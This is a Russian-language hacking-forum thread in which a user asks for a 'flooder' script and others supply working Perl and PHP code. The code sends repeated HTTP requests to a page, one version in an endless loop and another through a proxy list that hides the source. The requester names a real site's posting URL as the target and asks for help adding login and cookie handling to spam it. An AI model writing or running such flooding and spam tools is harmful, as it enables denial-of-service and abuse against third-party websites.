Люди, нужен самый банальный и простой скрипт, который будет заданное количество раз обращаться к странице и передавать ей статичные параметры Code: http://domain.com/index.php?id1=xxx&id2=xxxx Ну то есть тупо флудер. Готовые решения, найденные в сети, либо не подходят, либо лагают... Может кто-нибудь набросать код? На чём угодно - яваскрипт, пхп, перл... Буду очень благодарен.
Code: #!/usr/bin/perl use IO::Socket; for(1..2){ print &GetPage('domain.com', '/index.php?id1='.rand(99999).'&id2='.rand(999999)); } sub GetPage { local($serv, $page, $ret, $buf)=@_; my $s = IO::Socket::INET->new( PeerAddr => $serv, PeerPort => 80, Proto => 'tcp', Type => SOCK_STREAM) or return 0; print $s join("\r\n", ( "GET $page HTTP/1.1", "Host: $serv", 'Accept: */*', "Referer: http://$serv$page", 'User-Agent: MSIE 6.0', 'Connection: Close', '','')); while(read $s, $buf, 4096){ $ret.=$buf } close $s; return $ret; }
Вот сцуко! Не хочет работать! Залил на сервер - выдаёт 500 Проверяю на денвере - если не писать в начале , то снова ошибка 500 и пишет в лог Если Content-type писать, то скрипт выводит (дважды, конечно) все параметры: То есть кодировку, HTTP, сам запрос, и... и нечего. Эффекта никакого =( Я ещё и перл не знаю, скажите, я туплю?
PHP: <?set_time_limit(0); $host = 'www.domain.com'; while(true) { $path = '/index.php?id1='.rand(0,99999).'&id2='.rand(0,99999); $fp = fsockopen($host, 80, $errno, $errstr, 30); if($fp) // ;) { $headers = "GET $path HTTP/1.1\r\n"; $headers.= "Host: $host\r\n"; $headers.= "Connection: Close\r\n\r\n"; fwrite($fp, $headers); while(!feof($fp)) { } } fclose($fp); }?> Так. Или через прокси.(Больная тема). PHP: <? $host = "www.domain.com"; $path = '/index.php?id1='.rand(0,99999).'&id2='.rand(0,99999);//массив проксей (в файле прокси разделены '\n'), порт и хост разделены ':'$f_proxy = fopen('proxy.txt', r);$proxy = fread($f_proxy, 65000);$proxy_server = explode("\n", $proxy);$n=count($proxy_server);for ($i=0; $i<=count($proxy_server)-1; $i++) { $proxy_serv[$i] = explode(":", $proxy_server[$i]); }fclose($f_proxy);for ($i=0; $i<count($proxy_serv); $i++){ $fp = fsockopen($proxy_serv[$i][1], $proxy_serv[$i][2], $errno, $errstr, 10); if($fp) // ;) { $headers = "GET $path HTTP/1.1\r\n"; $headers.= "Host: $host\r\n"; $headers.= "Connection: Close\r\n\r\n"; fwrite($fp, $headers); while(!feof($fp)) { $rez_data = fread($fp,1024); // здесь код для обработки ответа //А лучше действительно не //принимать ответ. } fclose($fp); } else { echo "$errno $errstr"; }}?>
))) Спасибо! На моём примере (это www.emo.nnov.ru/index.php?id=626&id2=1&posting=true&title=Титл+поста&text=текст&redirect=1 ) не работает, но это не из-за скрипта, полагаю. ХЗ... Будем искать, в чём дело.
ДЕЛО В АВТОРИЗАЦИИ. Господа, я дураг, скрипт должен сначала авторизоваться на сервере и сохранить где-то печеньки... =( BlackLogic, на тебя вся надежда! Процедура авторизации...
Вот пока есть пара свободных минут, мог бы написать Только я не знаю какие куки принимает/отдает сервер.